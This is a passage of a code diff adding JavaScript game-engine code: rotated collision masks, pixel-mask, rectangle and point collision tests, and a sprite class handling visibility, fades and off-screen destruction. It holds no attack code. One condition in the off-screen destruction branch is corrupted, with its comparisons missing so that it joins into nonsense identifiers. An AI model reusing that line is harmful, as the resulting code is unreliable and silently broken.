+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x4000;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 3
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x2000;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 4
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x1000;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 5
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0800;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 6
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0400;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 7
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0200;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 8
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0100;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 9
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0080;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 10
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0040;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 11
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0020;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 12
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0010;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 13
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0008;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 14
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0004;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 15
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0002;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 16
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x0001;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ this.mask[pbd2++] = bd;
+ }
+
+ if (newCxMod16 != 0)
+ {
+ var bdMask = 0x8000;
+ var bdbd = 0;
+ for (x = 0; x < newCxMod16; x++, bdMask = ((bdMask >> 1) & 0x7FFF))
+ {
+ if (txs >= 0 && txs < cxs && tys >= 0 && tys < cys)
+ {
+ var bdxs = Math.floor(txs / 65536);
+ var bdys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (bdxs % 16));
+ b = pMask.mask[Math.floor(bdys * sMaskWidthWords + bdxs / 16)];
+ if ((b & bMask) != 0)
+ bdbd |= bdMask;
+ }
+ txs += ncosa;
+ tys += nsina;
+ }
+ this.mask[pbd2] = bdbd;
+ }
+
+ pbd1 += dMaskWidthShorts;
+
+ nxs -= nsina2;
+ nys += ncosa2;
+
+ }
+ return true;
+ },
+ testMask: function (x1, y1, yBase1, pMask2, x2, y2, yBase2)
+ {
+ var pLeft;
+ var pRight;
+ var x1Left, y1Left, x1Right, y1Right;
+ var syLeft, syRight;
+ var yBaseLeft, yBaseRight;
+
+ if (x1 <= x2)
+ {
+ pLeft = this;
+ pRight = pMask2;
+ yBaseLeft = Math.floor(yBase1);
+ yBaseRight = Math.floor(yBase2);
+ x1Left = Math.floor(x1);
+ y1Left = Math.floor(y1);
+ x1Right = Math.floor(x2);
+ y1Right = Math.floor(y2);
+ }
+ else
+ {
+ pLeft = pMask2;
+ pRight = this;
+ yBaseLeft = Math.floor(yBase2);
+ yBaseRight = Math.floor(yBase1);
+ x1Left = Math.floor(x2);
+ y1Left = Math.floor(y2);
+ x1Right = Math.floor(x1);
+ y1Right = Math.floor(y1);
+ }
+
+ syLeft = pLeft.height;
+ var startYLeft = 0;
+ if (yBaseLeft != 0)
+ {
+ syLeft = yBaseLeft;
+ y1Left += pLeft.height - yBaseLeft;
+ startYLeft = pLeft.height - yBaseLeft;
+ }
+ syRight = pRight.height;
+ var startYRight = 0;
+ if (yBaseRight != 0)
+ {
+ syRight = yBaseRight;
+ y1Right += pRight.height - yBaseRight;
+ startYRight = pRight.height - yBaseRight;
+ }
+ // syLeft = pLeft.height - yBaseLeft;
+ // syRight = pRight.height - yBaseRight;
+
+ if (x1Left >= x1Right + pRight.width || x1Left + pLeft.width <= x1Right)
+ {
+ return false;
+ }
+ if (y1Left >= y1Right + syRight || y1Left + syLeft < y1Right)
+ {
+ return false;
+ }
+
+ var deltaX = x1Right - x1Left;
+ var offsetX = Math.floor(deltaX / 16);
+ var shiftX = deltaX % 16;
+ var countX = Math.min(x1Left + pLeft.width - x1Right, pRight.width);
+ countX = Math.floor((countX + 15) / 16);
+
+ var deltaYLeft, deltaYRight, countY;
+ if (y1Left <= y1Right)
+ {
+ deltaYLeft = y1Right - y1Left + startYLeft;
+ deltaYRight = startYRight;
+ countY = Math.min(y1Left + syLeft, y1Right + syRight) - y1Right;
+ }
+ else
+ {
+ deltaYLeft = startYLeft;
+ deltaYRight = y1Left - y1Right + startYRight;
+ countY = Math.min(y1Left + syLeft, y1Right + syRight) - y1Left;
+ }
+ var x, y;
+
+ var offsetYLeft, offsetYRight;
+ var leftX, middleX;
+ var shortX;
+ offsetYLeft = deltaYLeft * pLeft.lineWidth;
+ offsetYRight = deltaYRight * pRight.lineWidth;
+ if (shiftX != 0)
+ {
+ switch (countX)
+ {
+ case 1:
+ for (y = 0; y < countY; y++)
+ {
+ // Premier mot
+ leftX = pLeft.mask[offsetYLeft + offsetX] << shiftX;
+ if ((leftX & pRight.mask[offsetYRight]) != 0)
+ {
+ return true;
+ }
+
+ if (offsetX + 1 < pLeft.lineWidth)
+ {
+ middleX = pLeft.mask[offsetYLeft + offsetX + 1] << shiftX;
+ middleX >>>= 16;
+ if ((middleX & pRight.mask[offsetYRight]) != 0)
+ {
+ return true;
+ }
+ }
+ offsetYLeft += pLeft.lineWidth;
+ offsetYRight += pRight.lineWidth;
+ }
+ break;
+ case 2:
+ for (y = 0; y < countY; y++)
+ {
+ // Premier mot
+ leftX = pLeft.mask[offsetYLeft + offsetX] << shiftX;
+ if ((leftX & pRight.mask[offsetYRight]) != 0)
+ {
+ return true;
+ }
+ middleX = pLeft.mask[offsetYLeft + offsetX + 1] << shiftX;
+ shortX = (middleX >>> 16);
+ if ((shortX & pRight.mask[offsetYRight]) != 0)
+ {
+ return true;
+ }
+
+ // Milieu
+ if ((middleX & pRight.mask[offsetYRight + 1]) != 0)
+ {
+ return true;
+ }
+
+ if (offsetX + 2 < pLeft.lineWidth)
+ {
+ middleX = pLeft.mask[offsetYLeft + offsetX + 2] << shiftX;
+ middleX >>>= 16;
+ if ((middleX & pRight.mask[offsetYRight + 1]) != 0)
+ {
+ return true;
+ }
+ }
+ offsetYLeft += pLeft.lineWidth;
+ offsetYRight += pRight.lineWidth;
+ }
+ break;
+ default:
+ for (y = 0; y < countY; y++)
+ {
+ // Premier mot
+ leftX = pLeft.mask[offsetYLeft + offsetX] << shiftX;
+ if ((leftX & pRight.mask[offsetYRight]) != 0)
+ {
+ return true;
+ }
+
+ for (x = 0; x < countX - 1; x++)
+ {
+ middleX = pLeft.mask[offsetYLeft + offsetX + x + 1] << shiftX;
+ shortX = (middleX >>> 16);
+ if ((shortX & pRight.mask[offsetYRight + x]) != 0)
+ {
+ return true;
+ }
+
+ // Milieu
+ if ((middleX & pRight.mask[offsetYRight + x + 1]) != 0)
+ {
+ return true;
+ }
+ }
+
+ if (offsetX + x + 1 < pLeft.lineWidth)
+ {
+ middleX = pLeft.mask[offsetYLeft + offsetX + x + 1] << shiftX;
+ middleX >>>= 16;
+ if ((middleX & pRight.mask[offsetYRight + x]) != 0)
+ {
+ return true;
+ }
+ }
+ offsetYLeft += pLeft.lineWidth;
+ offsetYRight += pRight.lineWidth;
+ }
+ break;
+ }
+ }
+ else
+ {
+ for (y = 0; y < countY; y++)
+ {
+ for (x = 0; x < countX; x++)
+ {
+ leftX = pLeft.mask[offsetYLeft + offsetX + x];
+ if ((pRight.mask[offsetYRight + x] & leftX) != 0)
+ {
+ return true;
+ }
+ }
+ offsetYLeft += pLeft.lineWidth;
+ offsetYRight += pRight.lineWidth;
+ }
+ }
+ return false;
+ },
+
+ testRect2: function (x1Mask, y1Mask, htFoot1, x1Rect, y1Rect, rWidth, rHeight, htFoot2)
+ {
+ x1Mask = Math.floor(x1Mask);
+ y1Mask = Math.floor(y1Mask);
+ x1Rect = Math.floor(x1Rect);
+ y1Rect = Math.floor(y1Rect);
+
+ var startYMask = 0;
+ var syMask = this.height;
+ if (htFoot1 > 0)
+ {
+ startYMask = this.height - htFoot1;
+ y1Mask += startYMask;
+ syMask = htFoot1;
+ }
+ var startYRect = 0;
+ var syRect = rHeight;
+ if (htFoot2 > 0)
+ {
+ startYRect = rHeight - htFoot2;
+ y1Rect += startYRect;
+ syRect = htFoot2;
+ }
+ if (x1Mask >= x1Rect + rWidth || x1Mask + this.width <= x1Rect)
+ {
+ return false;
+ }
+ if (y1Mask >= y1Rect + syRect || y1Mask + syMask < y1Rect)
+ {
+ return false;
+ }
+
+ var startX, countX;
+ var startY, countY;
+ if (x1Mask <= x1Rect)
+ {
+ startX = x1Rect - x1Mask;
+ countX = Math.min(this.width - startX, rWidth);
+ }
+ else
+ {
+ startX = 0;
+ countX = Math.min(x1Rect + rWidth - x1Mask, this.width);
+ }
+ if (y1Mask <= y1Rect)
+ {
+ startY = y1Rect - y1Mask + startYMask;
+ countY = Math.min(y1Mask + syMask, y1Rect + syRect) - y1Rect;
+ }
+ else
+ {
+ startY = startYMask;
+ countY = Math.min(y1Mask + syMask, y1Rect + syRect) - y1Mask;
+ }
+
+ var xOffset = Math.floor(startX / 8);
+ var nBytes = Math.floor((startX + countX + 15) / 16) - Math.floor(startX / 16);
+
+ var m;
+ var yOffset;
+ var y, x;
+ for (y = 0; y < countY; y++)
+ {
+ yOffset = (y + startY) * this.lineWidth;
+
+ switch (nBytes)
+ {
+ case 1:
+ m = (CMask.lMask[startX & 15] & CMask.rMask[((startX + countX - 1) & 15) + 1]);
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ case 2:
+ m = CMask.lMask[startX & 15];
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ m = CMask.rMask[((startX + countX - 1) & 15) + 1];
+ if ((this.mask[yOffset + xOffset + 1] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ default:
+ m = CMask.lMask[startX & 15];
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ for (x = 1; x < nBytes - 1; x++)
+ {
+ if (this.mask[yOffset + xOffset + x] != 0)
+ {
+ return true;
+ }
+ }
+ m = CMask.rMask[((startX + countX - 1) & 15) + 1];
+ if ((this.mask[yOffset + xOffset + x] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ }
+ }
+ return false;
+ },
+ /*
+ testRect:function(yBase1, xx, yy, w, h)
+ {
+ var x1 = xx;
+ if (x1 < 0)
+ {
+ w += x1;
+ x1 = 0;
+ }
+ var y1 = yy;
+ if (yBase1 != 0 && y1 >= 0)
+ {
+ y1 = yBase1 + y1;
+ h = height - y1;
+ }
+ if (y1 < 0)
+ {
+ h += y1;
+ y1 = 0;
+ }
+ var x2 = x1 + w;
+ if (x2 > this.width)
+ {
+ x2 = this.width;
+ }
+ var y2 = y1 + h;
+ if (y2 > this.height)
+ {
+ y2 = this.height;
+ }
+
+ var offset = (y1) * this.lineWidth;
+ var yCount = y2 - y1;
+ var xCount = Math.floor((x2 - x1) / 16) + 1;
+ var xOffset = Math.floor(x1 / 16);
+ var x, y;
+
+ var m;
+ var yOffset;
+ for (y = 0; y < yCount; y++)
+ {
+ yOffset = y * this.lineWidth + offset;
+
+ switch (xCount)
+ {
+ case 1:
+ m = (CMask.lMask[x1 & 15] & rMask[(x2 - 1) & 15]);
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ case 2:
+ m = CMask.lMask[x1 & 15];
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ m = CMask.rMask[(x2 - 1) & 15];
+ if ((mask[yOffset + xOffset + 1] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ default:
+ m = CMask.lMask[x1 & 15];
+ if ((this.mask[yOffset + xOffset] & m) != 0)
+ {
+ return true;
+ }
+ for (x = 1; x < xCount - 1; x++)
+ {
+ if (this.mask[yOffset + xOffset + 1] != 0)
+ {
+ return true;
+ }
+ }
+ m = CMask.rMask[(x2 - 1) & 15];
+ if ((this.mask[yOffset + xOffset + x] & m) != 0)
+ {
+ return true;
+ }
+ break;
+ }
+ }
+ return false;
+ },
+ */
+ testPoint: function (x1Mask, y1Mask, x1, y1)
+ {
+ var xx = Math.floor(x1 - x1Mask);
+ var yy = Math.floor(y1 - y1Mask);
+ if (xx < 0 || xx >= this.width || yy < 0 || yy >= this.height)
+ {
+ return false;
+ }
+
+ var offset = (yy * this.lineWidth) + Math.floor(xx / 16);
+ var m = ((0x8000) >>> (xx & 15));
+ var data = this.mask[offset];
+ if ((this.mask[offset] & m) != 0)
+ {
+ return true;
+ }
+ return false;
+ },
+
+ // Test a point in the mask
+ // DeltaX/Y = screen coordinates relative to the mask's hot spot
+ testPointEx: function (deltaX, deltaY, angle, xScale, yScale)
+ {
+ var xx = Math.floor(deltaX);
+ var yy = Math.floor(deltaY);
+ var xo = xx;
+ var yo = yy;
+
+ // Convert screen coordinates to mask coordinates
+ if (angle == 0)
+ {
+ // Scaling?
+ if ( xScale != 1.0 || yScale != 1.0 )
+ {
+ xo = Math.floor(xo / xScale);
+ yo = Math.floor(yo / yScale);
+ }
+
+ xo += this.xSpot;
+ yo += this.ySpot;
+ }
+ else
+ {
+ // Rotate position
+ var alpha = angle * 3.141592653589 / 180.0;
+ var cosa = Math.cos(alpha);
+ var sina = Math.sin(alpha);
+
+ xo = xx * cosa - yy * sina;
+ yo = yy * cosa + xx * sina;
+
+ // Scaling?
+ if ( xScale != 1.0 || yScale != 1.0 )
+ {
+ xo /= xScale;
+ yo /= yScale;
+ }
+
+ // Get position relative to top-left corner of rectangle
+ xo += this.xSpot;
+ yo += this.ySpot;
+ }
+
+ // Test pixel at mask coordinates
+ xx = Math.floor(xo);
+ yy = Math.floor(yo);
+ if (xx < 0 || xx >= this.width || yy < 0 || yy >= this.height) {
+ return false;
+ }
+
+ var offset = (yy * this.lineWidth) + Math.floor(xx / 16);
+ var m = ((0x8000) >>> (xx & 15));
+ var data = this.mask[offset];
+ if ((this.mask[offset] & m) != 0) {
+ return true;
+ }
+ return false;
+ }
+
+ }
+
+ // CRotatedMask object
+ // -----------------------------------------------------------------------
+ function CRotatedMask()
+ {
+ this.mask = null;
+ this.angle = 0;
+ this.scaleX = 1.0;
+ this.scaleY = 1.0;
+ this.tick = 0;
+ }
+
+ // CRSpr object
+ // -----------------------------------------------------------------------
+ CRSpr.RSFLAG_HIDDEN = 0x0001;
+ CRSpr.RSFLAG_INACTIVE = 0x0002;
+ CRSpr.RSFLAG_SLEEPING = 0x0004;
+ CRSpr.RSFLAG_ROTATE_ANTIA = 0x0010;
+ CRSpr.RSFLAG_VISIBLE = 0x0020;
+ CRSpr.RSFLAG_RAMBO = 0x0040;
+ CRSpr.RSFLAG_COLBOX = 0x0080;
+ CRSpr.SPRTYPE_TRUESPRITE = 0;
+ CRSpr.SPRTYPE_OWNERDRAW = 1;
+ CRSpr.BOP_COPY = 0;
+ CRSpr.BOP_BLEND = 1;
+ CRSpr.BOP_INVERT = 2;
+ CRSpr.BOP_XOR = 3;
+ CRSpr.BOP_AND = 4;
+ CRSpr.BOP_OR = 5;
+ CRSpr.BOP_BLEND_REPLACETRANSP = 6;
+ CRSpr.BOP_DWROP = 7;
+ CRSpr.BOP_ANDNOT = 8;
+ CRSpr.BOP_ADD = 9;
+ CRSpr.BOP_MONO = 10;
+ CRSpr.BOP_SUB = 11;
+ CRSpr.BOP_BLEND_DONTREPLACECOLOR = 12;
+ CRSpr.BOP_EFFECTEX = 13;
+ CRSpr.BOP_MAX = 13;
+ CRSpr.BOP_MASK = 0x0000FFF;
+ CRSpr.BOP_RGBAFILTER = 0x1000;
+ CRSpr.BOP_SMOOTHING = 0x2000;
+
+ function CRSpr()
+ {
+ this.hoPtr = null;
+ this.rsFlash = 0;
+ this.rsFlashCpt = 0;
+ this.rsLayer = 0;
+ this.rsZOrder = 0;
+ this.rsCreaFlags = 0;
+ this.rsBackColor = 0;
+ this.rsEffect = 0;
+ this.rsEffectParam = 0;
+ this.rsFlags = 0;
+ this.rsSpriteType = 0;
+ this.rsTransparency = 0;
+ this.rsTrans = null;
+ }
+ CRSpr.prototype =
+ {
+ init1: function (ho, ocPtr, cobPtr)
+ {
+ this.hoPtr = ho;
+
+ this.rsLayer = cobPtr.cobLayer;
+ this.rsZOrder = cobPtr.cobZOrder;
+
+ this.rsFlags = 0;
+
+ this.rsFlags |= CRSpr.RSFLAG_RAMBO;
+ if ((this.hoPtr.hoLimitFlags & CObjInfo.OILIMITFLAGS_QUICKCOL) == 0)
+ this.rsFlags &= ~CRSpr.RSFLAG_RAMBO;
+
+ if ((this.hoPtr.hoOiList.oilOCFlags2 & CObjectCommon.OCFLAGS2_COLBOX) != 0)
+ this.rsFlags |= CRSpr.RSFLAG_COLBOX;
+
+ if ((cobPtr.cobFlags & CRun.COF_HIDDEN) != 0)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_HIDDEN;
+ if (this.hoPtr.hoType == COI.OBJ_TEXT)
+ {
+ this.hoPtr.hoFlags |= CObject.HOF_NOCOLLISION;
+ this.rsFlags &= ~CRSpr.RSFLAG_RAMBO;
+ }
+ }
+ else
+ {
+ this.rsFlags |= CRSpr.RSFLAG_VISIBLE;
+ }
+ this.rsEffect = this.hoPtr.hoOiList.oilInkEffect;
+ this.rsEffectParam = this.hoPtr.hoOiList.oilEffectParam;
+ var globalAlpha = 1;
+ if ((this.rsEffect & CRSpr.BOP_RGBAFILTER) != 0)
+ globalAlpha = (((this.rsEffectParam >>> 24) & 0xFF) / 255.0);
+ else if ((this.rsEffect & CRSpr.BOP_MASK) == CRSpr.BOP_BLEND)
+ globalAlpha = ((128 - this.rsEffectParam) / 128.0);
+ this.rsTransparency = 128 - globalAlpha * 128;
+
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_STATIC)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_INACTIVE;
+ }
+ },
+
+ init2: function (bTransition)
+ {
+ this.createSprite(bTransition);
+
+ if (bTransition)
+ {
+ if (this.hoPtr.hoCommon.ocFadeIn)
+ {
+ this.hoPtr.hoFlags |= CObject.HOF_FADEIN;
+ }
+ }
+ },
+
+ handle: function ()
+ {
+ var rhPtr = this.hoPtr.hoAdRunHeader;
+ var x1;
+ var y1;
+ var x2;
+ var y2;
+
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEIN) != 0)
+ {
+ if (!this.rsTrans)
+ {
+ this.createTransition(false);
+ }
+ this.performFadeIn();
+ return;
+ }
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEOUT) != 0)
+ {
+ this.performFadeOut();
+ return;
+ }
+
+ if ((this.rsFlags & CRSpr.RSFLAG_SLEEPING) == 0)
+ {
+ if (this.rsFlash != 0)
+ {
+ this.rsFlashCpt -= rhPtr.rhTimerDelta;
+ if (this.rsFlashCpt < 0)
+ {
+ this.rsFlashCpt = this.rsFlash;
+ if ((this.rsFlags & CRSpr.RSFLAG_VISIBLE) == 0)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_VISIBLE;
+ this.obShow();
+ }
+ else
+ {
+ this.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+ this.obHide();
+ }
+ }
+ }
+
+ if (this.hoPtr.rom != null)
+ this.hoPtr.rom.move();
+
+ if (this.hoPtr.roc.rcPlayer != 0)
+ return;
+ if ((this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_NEVERSLEEP) != 0)
+ {
+ // Build 285.1: handle "Destroy if too far" even if "Inactivate if too far" is set to No
+ if ((this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_NEVERKILL) == 0 && (rhPtr.rhApp.dwOptions & CRunApp.AH2OPT_DESTROYIFNOINACTIVATE) != 0 )
+ {
+ x1 = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ y1 = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ x2 = x1 + this.hoPtr.hoImgWidth;
+ y2 = y1 + this.hoPtr.hoImgHeight;
+
+ if (x2rhPtr.rh3XMaximumKill || y2rhPtr.rh3YMaximumKill)
+ rhPtr.destroy_Add(this.hoPtr.hoNumber);
+ }
+ return;
+ }
+
+ x1 = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ y1 = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ x2 = x1 + this.hoPtr.hoImgWidth;
+ y2 = y1 + this.hoPtr.hoImgHeight;
+
+ if (x2 >= rhPtr.rh3XMinimum && x1 <= rhPtr.rh3XMaximum && y2 >= rhPtr.rh3YMinimum && y1 <= rhPtr.rh3YMaximum)
+ return;
+
+ if (x2 >= rhPtr.rh3XMinimumKill && x1 <= rhPtr.rh3XMaximumKill && y2 >= rhPtr.rh3YMinimumKill && y1 <= rhPtr.rh3YMaximumKill)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_SLEEPING;
+ this.rsZOrder = this.hoPtr.delSprite();
+ return;
+ }
+ else
+ {
+ if ((this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_NEVERKILL) == 0)
+ {
+ rhPtr.destroy_Add(this.hoPtr.hoNumber);
+ }
+ return;
+ }
+ }
+ else
+ {
+ x1 = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ y1 = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ x2 = x1 + this.hoPtr.hoImgWidth;
+ y2 = y1 + this.hoPtr.hoImgHeight;
+ if (x2 >= rhPtr.rh3XMinimum && x1 <= rhPtr.rh3XMaximum && y2 >= rhPtr.rh3YMinimum && y1 <= rhPtr.rh3YMaximum)
+ {
+ this.rsFlags &= ~CRSpr.RSFLAG_SLEEPING;
+ this.init2(false);
+ this.hoPtr.setChildIndex(this.rsZOrder);
+ }
+ }
+ },
+
+ createSprite: function (bTransition)
+ {
+ if ((this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ this.hoPtr.addSprite(this.hoPtr.hoX - this.hoPtr.hoAdRunHeader.rhWindowX, this.hoPtr.hoY - this.hoPtr.hoAdRunHeader.rhWindowY, this.hoPtr.roc.rcImage, this.rsLayer, (this.rsFlags & CRSpr.RSFLAG_HIDDEN) == 0);
+ this.rsSpriteType = CRSpr.SPRTYPE_TRUESPRITE;
+ this.hoPtr.setEffect(this.rsEffect, this.rsEffectParam);
+ }
+ else
+ {
+ this.hoPtr.hoFlags |= CObject.HOF_OWNERDRAW;
+ this.hoPtr.addOwnerDrawSprite(this.hoPtr.hoX - this.hoPtr.hoAdRunHeader.rhWindowX, this.hoPtr.hoY - this.hoPtr.hoAdRunHeader.rhWindowY,
+ this.rsLayer, (this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_QUICKDISPLAY) != 0, (this.rsFlags & CRSpr.RSFLAG_HIDDEN) == 0, -1);
+ this.hoPtr.setEffect(this.rsEffect, this.rsEffectParam);
+ this.rsSpriteType = CRSpr.SPRTYPE_OWNERDRAW;
+ }
+ },
+
+ createTransition: function (bFadeOut)
+ {
+ this.hoPtr.hoFlags &= ~(CObject.HOF_FADEIN | CObject.HOF_FADEOUT);
+
+ // Un fade?
+ if (bFadeOut == false)
+ {
+ if (!this.hoPtr.hoCommon.ocFadeIn)
+ {
+ return false;
+ }
+ this.hoPtr.hoFlags |= CObject.HOF_FADEIN;
+ }
+ else
+ {
+ if (!this.hoPtr.hoCommon.ocFadeOut)
+ {
+ return false;
+ }
+ this.hoPtr.hoFlags |= CObject.HOF_FADEOUT;
+ }
+
+ // Demarre le fade
+ this.rsTrans = this.hoPtr.hoAdRunHeader.rhApp.getTransitionManager().startObjectFade(this.hoPtr, bFadeOut);
+ if (!this.rsTrans)
+ {
+ this.hoPtr.hoFlags &= ~(CObject.HOF_FADEIN | CObject.HOF_FADEOUT);
+ return false;
+ }
+ return true;
+ },
+
+ performFadeIn: function ()
+ {
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEIN) != 0)
+ {
+ if (this.rsTrans.isCompleted())
+ {
+ this.hoPtr.hoFlags &= ~CObject.HOF_FADEIN;
+ this.hoPtr.transitionImage = null;
+ this.rsTrans = null;
+ if (this.hoPtr.hoType >= 32)
+ {
+ hoPtr.ext.continueRunObject();
+ }
+ return false;
+ }
+ this.rsTrans.stepDraw(CTrans.TRFLAG_FADEIN);
+ return true;
+ }
+ return false;
+ },
+
+ performFadeOut: function ()
+ {
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEOUT) != 0)
+ {
+ if (this.rsTrans.isCompleted())
+ {
+ this.rsTrans = null;
+ this.transitionImage = null;
+ this.hoPtr.hoAdRunHeader.destroy_Add(this.hoPtr.hoNumber);
+ return false;
+ }
+ this.rsTrans.stepDraw(CTrans.TRFLAG_FADEOUT);
+ return true;
+ }
+ return false;
+ },
+
+ initFadeOut: function ()
+ {
+ if (this.createTransition(true))
+ {
+ this.hoPtr.hoFlags |= CObject.HOF_NOCOLLISION;
+ return true;
+ }
+ return false;
+ },
+
+ kill: function (fast)
+ {
+ this.rsZOrder = this.hoPtr.delSprite();
+ },
+
